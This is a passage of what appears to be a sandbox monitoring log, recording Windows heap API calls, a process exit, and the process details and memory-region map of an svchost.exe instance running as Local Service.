[0126.424] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd100 | out: hHeap=0x44d0000) returned 1 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.424] GetProcessHeap () returned 0x44d0000 [0126.425] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd148) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd148) returned 0x10 [0126.425] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd148 | out: hHeap=0x44d0000) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc258) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc258) returned 0x14 [0126.425] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc258 | out: hHeap=0x44d0000) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd070) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd070) returned 0xa [0126.425] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd070 | out: hHeap=0x44d0000) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd160) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dd160) returned 0x10 [0126.425] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dd160 | out: hHeap=0x44d0000) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc218) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc218) returned 0x14 [0126.425] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc218 | out: hHeap=0x44d0000) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.425] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d3728) returned 1 [0126.425] GetProcessHeap () returned 0x44d0000 [0126.426] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d3728) returned 0x2 [0126.426] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d3728 | out: hHeap=0x44d0000) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d87f0) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d87f0) returned 0x14 [0126.426] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d87f0 | out: hHeap=0x44d0000) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7338) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7338) returned 0x14 [0126.426] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7338 | out: hHeap=0x44d0000) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7548) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7548) returned 0x14 [0126.426] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7548 | out: hHeap=0x44d0000) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d2978) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d2978) returned 0x14 [0126.426] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d2978 | out: hHeap=0x44d0000) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc4b8) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.426] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc4b8) returned 0x14 [0126.426] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc4b8 | out: hHeap=0x44d0000) returned 1 [0126.426] GetProcessHeap () returned 0x44d0000 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc278) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc278) returned 0x14 [0126.427] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc278 | out: hHeap=0x44d0000) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d8690) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d8690) returned 0x30 [0126.427] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d8690 | out: hHeap=0x44d0000) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc338) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc338) returned 0x14 [0126.427] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc338 | out: hHeap=0x44d0000) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d3828) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d3828) returned 0x24 [0126.427] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d3828 | out: hHeap=0x44d0000) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc2b8) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc2b8) returned 0x14 [0126.427] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc2b8 | out: hHeap=0x44d0000) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7188) returned 1 [0126.427] GetProcessHeap () returned 0x44d0000 [0126.427] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7188) returned 0x4c [0126.428] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7188 | out: hHeap=0x44d0000) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc2f8) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc2f8) returned 0x14 [0126.428] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc2f8 | out: hHeap=0x44d0000) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7608) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7608) returned 0x10 [0126.428] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7608 | out: hHeap=0x44d0000) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7100) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7100) returned 0x14 [0126.428] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7100 | out: hHeap=0x44d0000) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7120) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7120) returned 0x14 [0126.428] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7120 | out: hHeap=0x44d0000) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7140) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.428] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7140) returned 0x14 [0126.428] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7140 | out: hHeap=0x44d0000) returned 1 [0126.428] GetProcessHeap () returned 0x44d0000 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7bb8) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7bb8) returned 0x14 [0126.429] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7bb8 | out: hHeap=0x44d0000) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7668) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7668) returned 0x10 [0126.429] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7668 | out: hHeap=0x44d0000) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc1d8) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc1d8) returned 0x14 [0126.429] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc1d8 | out: hHeap=0x44d0000) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc3d8) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc3d8) returned 0x14 [0126.429] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc3d8 | out: hHeap=0x44d0000) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc298) returned 1 [0126.429] GetProcessHeap () returned 0x44d0000 [0126.429] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc298) returned 0x14 [0126.430] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc298 | out: hHeap=0x44d0000) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc378) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc378) returned 0x14 [0126.430] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc378 | out: hHeap=0x44d0000) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc198) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc198) returned 0x14 [0126.430] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc198 | out: hHeap=0x44d0000) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc418) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc418) returned 0x14 [0126.430] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc418 | out: hHeap=0x44d0000) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc458) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc458) returned 0x14 [0126.430] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc458 | out: hHeap=0x44d0000) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7680) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7680) returned 0x10 [0126.430] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7680 | out: hHeap=0x44d0000) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.430] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc438) returned 1 [0126.430] GetProcessHeap () returned 0x44d0000 [0126.431] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc438) returned 0x14 [0126.431] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc438 | out: hHeap=0x44d0000) returned 1 [0126.431] GetProcessHeap () returned 0x44d0000 [0126.431] GetProcessHeap () returned 0x44d0000 [0126.431] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7758) returned 1 [0126.431] GetProcessHeap () returned 0x44d0000 [0126.431] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44d7758) returned 0x10 [0126.431] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44d7758 | out: hHeap=0x44d0000) returned 1 [0126.431] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0126.431] exit (_Code=0) Thread: id = 118 os_tid = 0x944 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x73857000" os_pid = "0x37c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x218" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c3d5" [0xc000000f], "LOCAL" [0x7] Region: id = 1726 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1727 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1728 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1729 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1730 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1731 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1732 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1733 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1734 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1735 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1736 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1737 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1738 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1739 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1740 start_va = 0x480000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1741 start_va = 0x4a0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1742 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1743 start_va = 0x4d0000 end_va = 0x4d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 1744 start_va = 0x4e0000 end_va = 0x543fff monitored = 0 entry_point = 0x4f5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1745 start_va = 0x550000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1746 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 1747 start_va = 0x580000 end_va = 0x586fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1748 start_va = 0x590000 end_va = 0x590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1749 start_va = 0x5a0000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1750 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1751 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1752 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1753 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1754 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1755 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1756 start_va = 0xb20000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 1757 start_va = 0xbe0000 end_va = 0xfdafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 1758 start_va = 0xfe0000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1759 start_va = 0x10f0000 end_va = 0x10f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 1760 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1761 start_va = 0x1200000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1762 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1763 start_va = 0x1380000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1764 start_va = 0x1400000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1765 start_va = 0x15c0000 end_va = 0x15c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1766 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 1767 start_va = 0x1780000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 1768 start_va = 0x1800000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1769 start_va = 0x1880000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 1770 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1771 start_va = 0x1a00000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 1772 start_va = 0x1a90000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a90000" filename = "" Region: id = 1773 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1774 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1775 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1776 start_va = 0x1f00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1777 start_va = 0x2000000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 1778 start_va = 0x2100000 end_va = 0x2436fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1779 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1780 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1781 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1782 start_va = 0x2800000 end_va = 0x28dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1783 start_va = 0x2940000 end_va = 0x2a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 1784 start_va = 0x2a40000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 1785 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1786 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1787 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1788 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1789 start_va = 0x3200000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 1790 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 1791 start_va = 0x3500000 end_va = 0x35fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1792 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 1793 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 1794 start_va = 0x3800000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1795 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 1796 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = 